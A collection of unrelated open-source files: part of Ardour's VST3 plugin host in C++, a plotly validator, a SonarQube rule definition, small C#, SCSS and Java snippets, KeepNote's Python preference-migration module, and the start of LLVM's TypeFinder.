return _n_midi_inputs;
}
uint32_t
VST3PI::n_midi_outputs () const
{
return _n_midi_outputs;
}
Plugin::IOPortDescription
VST3PI::describe_io_port (ARDOUR::DataType dt, bool input, uint32_t id) const
{
switch (dt) {
case DataType::AUDIO:
return _io_name[Vst::kAudio][input ? 0 : 1][id];
break;
case DataType::MIDI:
return _io_name[Vst::kEvent][input ? 0 : 1][id];
break;
default:
return Plugin::IOPortDescription ("?");
break;
}
}
bool
VST3PI::try_set_parameter_by_id (Vst::ParamID id, float value)
{
std::map<Vst::ParamID, uint32_t>::const_iterator idx = _ctrl_id_index.find (id);
if (idx == _ctrl_id_index.end()) {
return false;
}
set_parameter (idx->second, value, 0);
return true;
}
void
VST3PI::set_parameter (uint32_t p, float value, int32 sample_off)
{
set_parameter_internal (index_to_id (p), value, sample_off, false);
_shadow_data[p] = value;
_update_ctrl[p] = true;
}
bool
VST3PI::set_program (int pgm, int32 sample_off)
{
if (_program_change_port.id == Vst::kNoParamId) {
return false;
}
if (_n_factory_presets < 1) {
return false;
}
if (pgm < 0 || pgm >= _n_factory_presets) {
return false;
}
Vst::ParamID id = _program_change_port.id;
#if 0
/* This fails with some plugins (e.g. waves.vst3),
* that do not use integer indexed presets.
*/
float value = _controller->plainParamToNormalized (id, pgm);
#else
float value = pgm;
if (_n_factory_presets > 1) {
value /= (_n_factory_presets - 1.f);
}
#endif
int32 index;
_input_param_changes.addParameterData (id, index)->addPoint (sample_off, value, index);
_controller->setParamNormalized (id, value);
#if 0
update_shadow_data ();
synchronize_states ();
#endif
return true;
}
bool
VST3PI::synchronize_states ()
{
RAMStream stream;
if (_component->getState (&stream) == kResultTrue) {
stream.rewind();
tresult res = _controller->setComponentState (&stream);
if (!(res == kResultOk || res == kNotImplemented)) {
#ifndef NDEBUG
std::cerr << "Failed to synchronize VST3 component <> controller state\n";
stream.hexdump (0);
#endif
return false;
}
}
return true;
}
void
VST3PI::update_shadow_data ()
{
std::map<uint32_t, Vst::ParamID>::const_iterator i;
for (i = _ctrl_index_id.begin (); i != _ctrl_index_id.end (); ++i) {
Vst::ParamValue v = _controller->getParamNormalized (i->second);
if (_shadow_data[i->first] != v) {
#ifndef NDEBUG
printf ("VST3PI::update_shadow_data %d: %f -> %f\n", i->first,
_shadow_data[i->first], _controller->getParamNormalized (i->second));
#endif
#if 1 // needed for set_program() changes to take effect, after kParamValuesChanged
int32 index;
_input_param_changes.addParameterData (i->second, index)->addPoint (0, v, index);
#endif
_shadow_data[i->first] = v;
}
}
}
void
VST3PI::update_contoller_param ()
{
/* GUI thread */
std::map<uint32_t, Vst::ParamID>::const_iterator i;
for (i = _ctrl_index_id.begin (); i != _ctrl_index_id.end (); ++i) {
if (!_update_ctrl[i->first]) {
continue;
}
_update_ctrl[i->first] = false;
_controller->setParamNormalized (i->second, _shadow_data[i->first]);
}
}
void
VST3PI::set_parameter_by_id (Vst::ParamID id, float value, int32 sample_off)
{
set_parameter_internal (id, value, sample_off, true);
std::map<Vst::ParamID, uint32_t>::const_iterator idx = _ctrl_id_index.find (id);
if (idx != _ctrl_id_index.end()) {
_shadow_data[idx->second] = value;
_update_ctrl[idx->second] = true;
}
}
void
VST3PI::set_parameter_internal (Vst::ParamID id, float& value, int32 sample_off, bool normalized)
{
int32 index;
if (!normalized) {
value = _controller->plainParamToNormalized (id, value);
}
_input_param_changes.addParameterData (id, index)->addPoint (sample_off, value, index);
}
float
VST3PI::get_parameter (uint32_t p) const
{
Vst::ParamID id = index_to_id (p);
if (_update_ctrl[p]) {
_update_ctrl[p] = false;
_controller->setParamNormalized (id, _shadow_data[p]); // GUI thread only
}
return _controller->normalizedParamToPlain (id, _shadow_data[p]);
}
bool
VST3PI::live_midi_cc (int32_t bus, int16_t channel, Vst::CtrlNumber ctrl)
{
FUnknownPtr<Vst::IMidiLearn> midiLearn (_controller);
if (!midiLearn) {
return false;
}
return kResultOk == midiLearn->onLiveMIDIControllerInput (bus, channel, ctrl);
}
bool
VST3PI::midi_controller (int32_t bus, int16_t channel, Vst::CtrlNumber ctrl, Vst::ParamID &id)
{
FUnknownPtr<Vst::IMidiMapping> midiMapping (_controller);
if (!midiMapping) {
return false;
}
return kResultOk == midiMapping->getMidiControllerAssignment (bus, channel, ctrl, id);
}
void
VST3PI::cycle_start ()
{
_input_events.clear ();
_output_events.clear ();
}
void
VST3PI::add_event (Evoral::Event<samplepos_t> const& ev, int32_t bus)
{
Vst::Event e;
e.busIndex = bus;
e.flags = ev.is_live_midi () ? Vst::Event::kIsLive : 0;
e.sampleOffset = ev.time();
e.ppqPosition = _context.projectTimeMusic;
if (evoral_to_vst3 (e, ev, bus)) {
_input_events.addEvent (e);
}
}
void
VST3PI::enable_io (std::vector<bool> const& ins, std::vector<bool> const& outs)
{
if (_enabled_audio_in == ins && _enabled_audio_out == outs) {
return;
}
_enabled_audio_in = ins;
_enabled_audio_out = outs;
assert (_enabled_audio_in.size () == n_audio_inputs ());
assert (_enabled_audio_out.size () == n_audio_outputs ());
int32 n_bus_in = _component->getBusCount (Vst::kAudio, Vst::kInput);
int32 n_bus_out = _component->getBusCount (Vst::kAudio, Vst::kOutput);
std::vector<Vst::SpeakerArrangement> sa_in;
std::vector<Vst::SpeakerArrangement> sa_out;
bool enable = false;
Vst::SpeakerArrangement sa = 0;
for (int i = 0; i < _n_inputs; ++i) {
if (ins[i]) {
enable = true;
}
sa |= (uint64_t)1 << i;
}
if (_n_inputs > 0) {
_component->activateBus (Vst::kAudio, Vst::kInput, 0, enable);
sa_in.push_back (sa);
}
enable = false;
sa = 0;
for (int i = 0; i < _n_aux_inputs; ++i) {
if (ins[i + _n_inputs]) {
enable = true;
}
sa |= (uint64_t)1 << i;
}
if (_n_aux_inputs > 0) {
_component->activateBus (Vst::kAudio, Vst::kInput, 1, enable);
sa_in.push_back (sa);
}
/* disable remaining input busses and set their speaker-count to zero */
while (sa_in.size() < n_bus_in) {
_component->activateBus (Vst::kAudio, Vst::kInput, sa_in.size(), false);
sa_in.push_back (0);
}
enable = false;
sa = 0;
for (int i = 0; i < _n_outputs; ++i) {
if (outs[i]) {
enable = true;
}
sa |= (uint64_t)1 << i;
}
if (_n_outputs > 0) {
_component->activateBus (Vst::kAudio, Vst::kOutput, 0, enable);
sa_out.push_back (sa);
}
enable = false;
sa = 0;
for (int i = 0; i < _n_aux_outputs; ++i) {
if (outs[i + _n_outputs]) {
enable = true;
}
sa |= (uint64_t)1 << i;
}
if (_n_aux_inputs > 0) {
_component->activateBus (Vst::kAudio, Vst::kOutput, 1, enable);
sa_out.push_back (sa);
}
while (sa_out.size() < n_bus_out) {
_component->activateBus (Vst::kAudio, Vst::kOutput, sa_out.size(), false);
sa_out.push_back (0);
}
_processor->setBusArrangements (&sa_in[0], sa_in.size(), &sa_out[0], sa_out.size());
#if 0
for (int32 i = 0; i < n_bus_in; ++i) {
Vst::SpeakerArrangement arr;
if (_processor->getBusArrangement (Vst::kInput, i, arr) == kResultOk) {
int cc = Vst::SpeakerArr::getChannelCount (arr);
std::cerr << "VST3: Input BusArrangements: " << i << " chan: " << cc << " bits: " << arr << "\n";
}
}
for (int32 i = 0; i < n_bus_out; ++i) {
Vst::SpeakerArrangement arr;
if (_processor->getBusArrangement (Vst::kOutput, i, arr) == kResultOk) {
int cc = Vst::SpeakerArr::getChannelCount (arr);
std::cerr << "VST3: Output BusArrangements: " << i << " chan: " << cc << " bits: " << arr << "\n";
}
}
#endif
}
static int32 used_bus_count (int auxes, int inputs)
{
if (auxes > 0 && inputs > 0) {
return 2;
}
if (auxes == 0 && inputs == 0) {
return 0;
}
return 1;
}
void
VST3PI::process (float** ins, float** outs, uint32_t n_samples)
{
Vst::AudioBusBuffers input[2]; // in-bus & aux-bus
Vst::AudioBusBuffers output[2];
Vst::ProcessData data;
data.numSamples = n_samples;
data.processMode = AudioEngine::instance()->freewheeling () ? Vst::kOffline : Vst::kRealtime;
data.symbolicSampleSize = Vst::kSample32;
data.numInputs = used_bus_count (_n_aux_inputs, _n_inputs);
data.numOutputs = used_bus_count (_n_aux_outputs, _n_outputs);
data.inputs = input;
data.outputs = output;
data.processContext = &_context;
data.inputEvents = &_input_events;
data.outputEvents = &_output_events;
data.inputParameterChanges = &_input_param_changes;
data.outputParameterChanges = &_output_param_changes;
input[0].silenceFlags = 0;
input[0].numChannels = _n_inputs;
input[0].channelBuffers32 = ins;
if (_n_aux_inputs > 0) {
input[1].silenceFlags = 0;
input[1].numChannels = _n_aux_inputs;
input[1].channelBuffers32 = &ins[_n_inputs];
}
output[0].silenceFlags = 0;
output[0].numChannels = _n_outputs;
output[0].channelBuffers32 = outs;
if (_n_aux_outputs > 0) {
output[1].silenceFlags = 0;
output[1].numChannels = _n_outputs;
output[1].channelBuffers32 = &outs[_n_outputs];
}
/* and go */
if (_processor->process (data) != kResultOk) {
#ifndef NDEBUG
std::cerr << "VST3: Process error\n"; // XXX
#endif
}
/* handle output parameter changes */
int n_changes = _output_param_changes.getParameterCount();
for (int i = 0; i < n_changes; ++i) {
Vst::IParamValueQueue* data = _output_param_changes.getParameterData (i);
if (!data) {
continue;
}
Vst::ParamID id = data->getParameterId();
int n_points = data->getPointCount();
if (n_points == 0) {
continue;
}
std::map<Vst::ParamID, uint32_t>::const_iterator idx = _ctrl_id_index.find (id);
if (idx != _ctrl_id_index.end()) {
/* automatable parameter, or read-only output */
int32 offset = 0;
Vst::ParamValue value = 0;
/* only get most recent point */
if (data->getPoint(n_points - 1, offset, value) == kResultOk) {
if (_shadow_data[idx->second] != value) {
_update_ctrl[idx->second] = true;
_shadow_data[idx->second] = (float) value;
}
}
} else {
#ifndef NDEBUG
/* non-automatable parameter */
std::cerr << "VST3: TODO non-automatable output param..\n"; // TODO inform UI
#endif
}
}
_input_param_changes.clear ();
_output_param_changes.clear ();
}
/* ****************************************************************************
* State
* compare to public.sdk/source/vst/vstpresetfile.cpp
*/
namespace Steinberg {
namespace Vst {
enum ChunkType
{
kHeader,
kComponentState,
kControllerState,
kProgramData,
kMetaInfo,
kChunkList,
kNumPresetChunks
};
static const ChunkID commonChunks[kNumPresetChunks] = {
{'V', 'S', 'T', '3'}, // kHeader
{'C', 'o', 'm', 'p'}, // kComponentState
{'C', 'o', 'n', 't'}, // kControllerState
{'P', 'r', 'o', 'g'}, // kProgramData
{'I', 'n', 'f', 'o'}, // kMetaInfo
{'L', 'i', 's', 't'} // kChunkList
};
static const int32 kFormatVersion = 1;
static const ChunkID& getChunkID (ChunkType type)
{
return commonChunks[type];
}
struct ChunkEntry {
void start_chunk (const ChunkID& id, RAMStream& stream) {
memcpy (_id, &id, sizeof (ChunkID));
stream.tell (&_offset);
_size = 0;
}
void end_chunk (RAMStream& stream) {
int64 pos = 0;
stream.tell (&pos);
_size = pos - _offset;
}
ChunkID _id;
int64 _offset;
int64 _size;
};
} // Vst
typedef std::vector<Vst::ChunkEntry> ChunkEntryVector;
} // Steinberg
static bool is_equal_ID (const Vst::ChunkID id1, const Vst::ChunkID id2)
{
return 0 == memcmp (id1, id2, sizeof (Vst::ChunkID));
}
static bool read_equal_ID (RAMStream& stream, const Vst::ChunkID id)
{
Vst::ChunkID tmp;
return stream.read_ChunkID (tmp) && is_equal_ID (tmp, id);
}
bool
VST3PI::load_state (RAMStream& stream)
{
assert (stream.readonly());
if (stream.size () < Vst::kHeaderSize) {
return false;
}
int32 version = 0;
int64 list_offset = 0;
TUID class_id;
if (!(read_equal_ID (stream, Vst::getChunkID (Vst::kHeader))
&& stream.read_int32 (version)
&& stream.read_TUID (class_id)
&& stream.read_int64 (list_offset)
&& list_offset > 0
)
) {
#ifndef NDEBUG
printf ("VST3PI::load_state: invalid header v%d s:%lld\n", version, list_offset);
#endif
return false;
}
if (_fuid != FUID::fromTUID (class_id)) {
#ifndef NDEBUG
std::cerr << "VST3PI::load_state: class ID mismatch\n";
#endif
return false;
}
/* read chunklist */
ChunkEntryVector entries;
int64 seek_result = 0;
stream.seek (list_offset, IBStream::kIBSeekSet, &seek_result);
if (seek_result != list_offset) {
return false;
}
if (!read_equal_ID (stream, Vst::getChunkID (Vst::kChunkList))) {
return false;
}
int32 count;
stream.read_int32 (count);
for (int32 i = 0; i < count; ++i) {
Vst::ChunkEntry c;
stream.read_ChunkID (c._id);
stream.read_int64 (c._offset);
stream.read_int64 (c._size);
entries.push_back (c);
}
bool rv = true;
/* parse chunks */
for (ChunkEntryVector::const_iterator i = entries.begin (); i != entries.end (); ++i) {
stream.seek (i->_offset, IBStream::kIBSeekSet, &seek_result);
if (seek_result != i->_offset) {
rv = false;
continue;
}
if (is_equal_ID (i->_id, Vst::getChunkID (Vst::kComponentState))) {
tresult res = _component->setState(&stream);
stream.seek (i->_offset, IBStream::kIBSeekSet, &seek_result);
tresult re2 = _controller->setComponentState(&stream);
if (!(re2 == kResultOk || re2 == kNotImplemented || res == kResultOk || res == kNotImplemented)) {
#ifndef NDEBUG
std::cerr << "VST3: failed to restore component state\n";
#endif
rv = false;
}
}
else if (is_equal_ID (i->_id, Vst::getChunkID (Vst::kControllerState))) {
tresult res = _controller->setState (&stream);
if (!(res == kResultOk || res == kNotImplemented)) {
#ifndef NDEBUG
std::cerr << "VST3: failed to restore controller state\n";
#endif
rv = false;
}
}
#if 0
else if (is_equal_ID (i->_id, Vst::getChunkID (Vst::kProgramData))) {
Vst::IUnitInfo* unitInfo = unit_info ();
printf ("VST3: ignored unsupported kProgramData.\n");
// PresetFile::restoreProgramData
// RAMStream pgmstream (...) create substream
// unit_info->setUnitProgramData (unitProgramListID, programIndex, pgmstream)
}
#endif
else {
#ifndef NDEBUG
std::cerr << "VST3: ignored unsupported state chunk.\n";
#endif
}
}
if (rv) {
update_shadow_data ();
}
return rv;
}
bool
VST3PI::save_state (RAMStream& stream)
{
assert (!stream.readonly());
Vst::ChunkEntry c;
ChunkEntryVector entries;
/* header */
stream.write_ChunkID (Vst::getChunkID (Vst::kHeader));
stream.write_int32 (Vst::kFormatVersion);
stream.write_TUID (_fuid.toTUID ()); // class ID
stream.write_int64 (0); // skip offset
/* state chunks */
c.start_chunk (getChunkID (Vst::kComponentState), stream);
if (_component->getState (&stream) == kResultTrue) {
c.end_chunk (stream);
entries.push_back (c);
}
c.start_chunk (getChunkID (Vst::kControllerState), stream);
if (_controller->getState (&stream) == kResultTrue) {
c.end_chunk (stream);
entries.push_back (c);
}
/* update header */
int64 pos;
stream.tell (&pos);
stream.seek (Vst::kListOffsetPos, IBStream::kIBSeekSet, NULL);
stream.write_int64 (pos);
stream.seek (pos, IBStream::kIBSeekSet, NULL);
/* write list */
stream.write_ChunkID (Vst::getChunkID (Vst::kChunkList));
stream.write_int32 (entries.size ());
for (ChunkEntryVector::const_iterator i = entries.begin (); i != entries.end (); ++i) {
stream.write_ChunkID (i->_id);
stream.write_int64 (i->_offset);
stream.write_int64 (i->_size);
}
return entries.size () > 0;
}
/* ****************************************************************************
* GUI
*/
IPlugView*
VST3PI::view ()
{
if (!_view) {
_view = _controller->createView (Vst::ViewType::kEditor);
if (!_view) {
_view = _controller->createView (0);
}
if (!_view) {
_view = FUnknownPtr<IPlugView> (_controller);
}
if (_view) {
_view->setFrame (this);
}
}
return _view;
}
void
VST3PI::close_view ()
{
if (!_view) {
return;
}
_view->removed ();
_view->setFrame (0);
_view->release ();
_view = 0;
}
#if SMTG_OS_LINUX
void
VST3PI::set_runloop (Linux::IRunLoop* run_loop)
{
_run_loop = run_loop;
}
#endif
tresult
VST3PI::resizeView (IPlugView* view, ViewRect* new_size)
{
OnResizeView (new_size->getWidth (), new_size->getHeight ()); /* EMIT SIGNAL */
return view->onSize (new_size);
}
| {
"pile_set_name": "Github"
} |
import _plotly_utils.basevalidators
class BingroupValidator(_plotly_utils.basevalidators.StringValidator):
def __init__(
self, plotly_name="bingroup", parent_name="histogram2dcontour", **kwargs
):
super(BingroupValidator, self).__init__(
plotly_name=plotly_name,
parent_name=parent_name,
edit_type=kwargs.pop("edit_type", "calc"),
role=kwargs.pop("role", "info"),
**kwargs
)
| {
"pile_set_name": "Github"
} |
{
"title": "Function argument names should be unique",
"type": "BUG",
"status": "ready",
"remediation": {
"func": "Constant\/Issue",
"constantCost": "5min"
},
"tags": [
],
"defaultSeverity": "Major",
"ruleSpecification": "RSPEC-1536",
"sqKey": "S1536",
"compatibleLanguages": [
"JAVASCRIPT"
],
"scope": "Main"
}
| {
"pile_set_name": "Github"
} |
namespace ClassLib071
{
public class Class058
{
public static string Property => "ClassLib071";
}
}
| {
"pile_set_name": "Github"
} |
@import '~fundamental-styles/dist/tree';
| {
"pile_set_name": "Github"
} |
package org.jboss.resteasy.client.jaxrs.internal.proxy;
/**
* used to modify all of the ClientInvokers of a given ResteasyClientProxy. @see
* ResteasyClientProxy.applyClientInvokerModifier
*
* @author <a href="mailto:[email protected]">Solomon Duskis</a>
* @version $Revision: 1 $
*/
public interface ClientInvokerModifier
{
void modify(ClientInvoker invoker);
}
| {
"pile_set_name": "Github"
} |
"""
KeepNote
Backward compatiability for configuration information
"""
#
# KeepNote
# Copyright (c) 2008-2009 Matt Rasmussen
# Author: Matt Rasmussen <[email protected]>
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; version 2 of the License.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA.
#
import os
import shutil
from xml.etree import ElementTree
import keepnote
from keepnote import FS_ENCODING
from keepnote import xdg
import keepnote.timestamp
import keepnote.compat.xmlobject_v3 as xmlo
from keepnote.util import compose
from keepnote import orderdict
OLD_USER_PREF_DIR = u"takenote"
OLD_USER_PREF_FILE = u"takenote.xml"
OLD_XDG_USER_EXTENSIONS_DIR = u"takenote/extensions"
OLD_XDG_USER_EXTENSIONS_DATA_DIR = u"takenote/extensions_data"
USER_PREF_DIR = u"keepnote"
USER_PREF_FILE = u"keepnote.xml"
USER_EXTENSIONS_DIR = u"extensions"
USER_EXTENSIONS_DATA_DIR = u"extensions_data"
XDG_USER_EXTENSIONS_DIR = u"keepnote/extensions"
XDG_USER_EXTENSIONS_DATA_DIR = u"keepnote/extensions_data"
#=============================================================================
# preference directory compatibility
def get_old_pref_dir1(home):
"""
Returns old preference directory (type 1)
$HOME/.takenote
"""
return os.path.join(home, "." + OLD_USER_PREF_DIR)
def get_old_pref_dir2(home):
"""
Returns old preference directory (type 2)
$HOME/.config/takenote
"""
return os.path.join(home, ".config", OLD_USER_PREF_DIR)
def get_new_pref_dir(home):
"""
Returns old preference directory (type 2)
$HOME/.config/takenote
"""
return os.path.join(home, ".config", USER_PREF_DIR)
def get_home():
"""Return HOME directory"""
home = keepnote.ensure_unicode(os.getenv(u"HOME"), FS_ENCODING)
if home is None:
raise EnvError("HOME environment variable must be specified")
return home
def get_old_user_pref_dir(home=None):
"""Returns the directory of the application preference file"""
p = keepnote.get_platform()
if p == "unix" or p == "darwin":
if home is None:
home = get_home()
old_dir = get_old_pref_dir1(home)
if os.path.exists(old_dir):
return old_dir
else:
return xdg.get_config_file(OLD_USER_PREF_DIR, default=True)
elif p == "windows":
appdata = keepnote.get_win_env("APPDATA")
if appdata is None:
raise keepnote.EnvError("APPDATA environment variable must be specified")
return os.path.join(appdata, OLD_USER_PREF_DIR)
else:
raise Exception("unknown platform '%s'" % p)
def get_new_user_pref_dir(home=None):
"""Returns the directory of the application preference file"""
p = keepnote.get_platform()
if p == "unix" or p == "darwin":
if home is None:
home = get_home()
return xdg.get_config_file(USER_PREF_DIR, default=True)
elif p == "windows":
appdata = keepnote.get_win_env("APPDATA")
if appdata is None:
raise keepnote.EnvError("APPDATA environment variable must be specified")
return os.path.join(appdata, USER_PREF_DIR)
else:
raise Exception("unknown platform '%s'" % p)
def upgrade_user_pref_dir(old_user_pref_dir, new_user_pref_dir):
"""Moves preference data from old location to new one"""
import sys
# move user preference directory
shutil.copytree(old_user_pref_dir, new_user_pref_dir)
# rename takenote.xml to keepnote.xml
oldfile = os.path.join(new_user_pref_dir, OLD_USER_PREF_FILE)
newfile = os.path.join(new_user_pref_dir, USER_PREF_FILE)
if os.path.exists(oldfile):
os.rename(oldfile, newfile)
# rename root xml tag
tree = ElementTree.ElementTree(file=newfile)
elm = tree.getroot()
elm.tag = "keepnote"
tree.write(newfile, encoding="UTF-8")
# move over data files from .local/share/takenote
if keepnote.get_platform() in ("unix", "darwin"):
datadir = os.path.join(get_home(), ".local", "share", "takenote")
old_ext_dir = os.path.join(datadir, "extensions")
new_ext_dir = os.path.join(new_user_pref_dir, "extensions")
if not os.path.exists(new_ext_dir) and os.path.exists(old_ext_dir):
shutil.copytree(old_ext_dir, new_ext_dir)
old_ext_dir = os.path.join(datadir, "extensions_data")
new_ext_dir = os.path.join(new_user_pref_dir, "extensions_data")
if not os.path.exists(new_ext_dir) and os.path.exists(old_ext_dir):
shutil.copytree(old_ext_dir, new_ext_dir)
def check_old_user_pref_dir(home=None):
"""Upgrades user preference directory if it exists in an old format"""
old_pref_dir = get_old_user_pref_dir(home)
new_pref_dir = get_new_user_pref_dir(home)
if not os.path.exists(new_pref_dir) and os.path.exists(old_pref_dir):
upgrade_user_pref_dir(old_pref_dir, new_pref_dir)
#=============================================================================
# XML config compatibility
DEFAULT_WINDOW_SIZE = (1024, 600)
DEFAULT_WINDOW_POS = (-1, -1)
DEFAULT_VSASH_POS = 200
DEFAULT_HSASH_POS = 200
DEFAULT_VIEW_MODE = "vertical"
DEFAULT_AUTOSAVE_TIME = 10 * 1000 # 10 sec (in msec)
class ExternalApp (object):
"""Class represents the information needed for calling an external application"""
def __init__(self, key, title, prog, args=[]):
self.key = key
self.title = title
self.prog = prog
self.args = args
class KeepNotePreferences (object):
"""Preference data structure for the KeepNote application"""
def __init__(self):
# external apps
self.external_apps = []
self._external_apps = []
self._external_apps_lookup = {}
self.id = ""
# extensions
self.disabled_extensions = []
# window presentation options
self.window_size = DEFAULT_WINDOW_SIZE
self.window_maximized = True
self.vsash_pos = DEFAULT_VSASH_POS
self.hsash_pos = DEFAULT_HSASH_POS
self.view_mode = DEFAULT_VIEW_MODE
# look and feel
self.treeview_lines = True
self.listview_rules = True
self.use_stock_icons = False
self.use_minitoolbar = False
# autosave
self.autosave = True
self.autosave_time = DEFAULT_AUTOSAVE_TIME
self.default_notebook = ""
self.use_last_notebook = True
self.timestamp_formats = dict(keepnote.timestamp.DEFAULT_TIMESTAMP_FORMATS)
self.spell_check = True
self.image_size_snap = True
self.image_size_snap_amount = 50
self.use_systray = True
self.skip_taskbar = False
self.recent_notebooks = []
self.language = ""
# dialog chooser paths
docs = ""
self.new_notebook_path = docs
self.archive_notebook_path = docs
self.insert_image_path = docs
self.save_image_path = docs
self.attach_file_path = docs
# temp variables for parsing
self._last_timestamp_name = ""
self._last_timestamp_format = ""
def _get_data(self, data=None):
if data is None:
data = orderdict.OrderDict()
data["id"] = self.id
# language
data["language"] = self.language
# window presentation options
data["window"] = {"window_size": self.window_size,
"window_maximized": self.window_maximized,
"use_systray": self.use_systray,
"skip_taskbar": self.skip_taskbar
}
# autosave
data["autosave"] = self.autosave
data["autosave_time"] = self.autosave_time
data["default_notebook"] = self.default_notebook
data["use_last_notebook"] = self.use_last_notebook
data["recent_notebooks"] = self.recent_notebooks
data["timestamp_formats"] = self.timestamp_formats
# editor
data["editors"] = {
"general": {
"spell_check": self.spell_check,
"image_size_snap": self.image_size_snap,
"image_size_snap_amount": self.image_size_snap_amount
}
}
# viewer
data["viewers"] = {
"three_pane_viewer": {
"vsash_pos": self.vsash_pos,
"hsash_pos": self.hsash_pos,
"view_mode": self.view_mode
}
}
# look and feel
data["look_and_feel"] = {
"treeview_lines": self.treeview_lines,
"listview_rules": self.listview_rules,
"use_stock_icons": self.use_stock_icons,
"use_minitoolbar": self.use_minitoolbar
}
# dialog chooser paths
data["default_paths"] = {
"new_notebook_path": self.new_notebook_path,
"archive_notebook_path": self.archive_notebook_path,
"insert_image_path": self.insert_image_path,
"save_image_path": self.save_image_path,
"attach_file_path": self.attach_file_path
}
# external apps
data["external_apps"] = [
{"key": app.key,
"title": app.title,
"prog": app.prog,
"args": app.args}
for app in self.external_apps]
# extensions
data["extension_info"] = {
"disabled": self.disabled_extensions
}
data["extensions"] = {}
return data
def read(self, filename):
"""Read preferences from file"""
# clear external apps vars
self.external_apps = []
self._external_apps_lookup = {}
# read xml preference file
g_keepnote_pref_parser.read(self, filename)
g_keepnote_pref_parser = xmlo.XmlObject(
xmlo.Tag("keepnote", tags=[
xmlo.Tag("id", attr=("id", None, None)),
xmlo.Tag("language", attr=("language", None, None)),
xmlo.Tag("default_notebook",
attr=("default_notebook", None, None)),
xmlo.Tag("use_last_notebook",
attr=("use_last_notebook", xmlo.str2bool, xmlo.bool2str)),
# window presentation options
xmlo.Tag("view_mode",
attr=("view_mode", None, None)),
xmlo.Tag("window_size",
attr=("window_size",
lambda x: tuple(map(int, x.split(","))),
lambda x: "%d,%d" % x)),
xmlo.Tag("window_maximized",
attr=("window_maximized", xmlo.str2bool, xmlo.bool2str)),
xmlo.Tag("vsash_pos",
attr=("vsash_pos", int, compose(str, int))),
xmlo.Tag("hsash_pos",
attr=("hsash_pos", int, compose(str, int))),
xmlo.Tag("treeview_lines",
attr=("treeview_lines", xmlo.str2bool, xmlo.bool2str)),
xmlo.Tag("listview_rules",
attr=("listview_rules", xmlo.str2bool, xmlo.bool2str)),
xmlo.Tag("use_stock_icons",
attr=("use_stock_icons", xmlo.str2bool, xmlo.bool2str)),
xmlo.Tag("use_minitoolbar",
attr=("use_minitoolbar", xmlo.str2bool, xmlo.bool2str)),
# image resize
xmlo.Tag("image_size_snap",
attr=("image_size_snap", xmlo.str2bool, xmlo.bool2str)),
xmlo.Tag("image_size_snap_amount",
attr=("image_size_snap_amount", int, compose(str, int))),
xmlo.Tag("use_systray",
attr=("use_systray", xmlo.str2bool, xmlo.bool2str)),
xmlo.Tag("skip_taskbar",
attr=("skip_taskbar", xmlo.str2bool, xmlo.bool2str)),
# misc options
xmlo.Tag("spell_check",
attr=("spell_check", xmlo.str2bool, xmlo.bool2str)),
xmlo.Tag("autosave",
attr=("autosave", xmlo.str2bool, xmlo.bool2str)),
xmlo.Tag("autosave_time",
attr=("autosave_time", int, compose(str, int))),
# default paths
xmlo.Tag("new_notebook_path",
attr=("new_notebook_path", None, None)),
xmlo.Tag("archive_notebook_path",
attr=("archive_notebook_path", None, None)),
xmlo.Tag("insert_image_path",
attr=("insert_image_path", None, None)),
xmlo.Tag("save_image_path",
attr=("save_image_path", None, None)),
xmlo.Tag("attach_file_path",
attr=("attach_file_path", None, None)),
# recent notebooks
xmlo.Tag("recent_notebooks", tags=[
xmlo.TagMany("notebook",
iterfunc=lambda s: range(len(s.recent_notebooks)),
get=lambda (s, i), x: s.recent_notebooks.append(x),
set=lambda (s, i): s.recent_notebooks[i]
)
]),
# disabled extensions
xmlo.Tag("extensions", tags=[
xmlo.Tag("disabled", tags=[
xmlo.TagMany("extension",
iterfunc=lambda s: range(len(s.disabled_extensions)),
get=lambda (s, i), x: s.disabled_extensions.append(x),
set=lambda (s, i): s.disabled_extensions[i]
)
]),
]),
xmlo.Tag("external_apps", tags=[
xmlo.TagMany("app",
iterfunc=lambda s: range(len(s.external_apps)),
before=lambda (s,i):
s.external_apps.append(ExternalApp("", "", "")),
tags=[
xmlo.Tag("title",
get=lambda (s,i),x:
setattr(s.external_apps[i], "title", x),
set=lambda (s,i): s.external_apps[i].title),
xmlo.Tag("name",
get=lambda (s,i),x:
setattr(s.external_apps[i], "key", x),
set=lambda (s,i): s.external_apps[i].key),
xmlo.Tag("program",
get=lambda (s,i),x:
setattr(s.external_apps[i], "prog", x),
set=lambda (s,i): s.external_apps[i].prog)]
)]
),
xmlo.Tag("timestamp_formats", tags=[
xmlo.TagMany("timestamp_format",
iterfunc=lambda s: range(len(s.timestamp_formats)),
before=lambda (s,i): setattr(s, "_last_timestamp_name", "") or
setattr(s, "_last_timestamp_format", ""),
after=lambda (s,i):
s.timestamp_formats.__setitem__(
s._last_timestamp_name,
s._last_timestamp_format),
tags=[
xmlo.Tag("name",
get=lambda (s,i),x: setattr(s, "_last_timestamp_name", x),
set=lambda (s,i): s.timestamp_formats.keys()[i]),
xmlo.Tag("format",
get=lambda (s,i),x: setattr(s, "_last_timestamp_format", x),
set=lambda (s,i): s.timestamp_formats.values()[i])
]
)]
)
]))
| {
"pile_set_name": "Github"
} |
//===- TypeFinder.cpp - Implement the TypeFinder class --------------------===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file implements the TypeFinder class for the IR library.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/TypeFinder.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/IR/BasicBlock.h"
#include "llvm/IR/Constant.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/Instruction.h"
#include "llvm/IR/Metadata.h"
#include "llvm/IR/Module.h"
#include "llvm/IR/Type.h"
#include "llvm/IR/Use.h"
#include "llvm/IR/User.h"
#include "llvm/IR/Value.h"
#include "llvm/Support/Casting.h"
#include <utility>
using namespace llvm;
void TypeFinder::run(const Module &M, bool onlyNamed) {
OnlyNamed = onlyNamed;
// Get types from global variables.
for (const auto &G : M.globals()) {
incorporateType(G.getType());
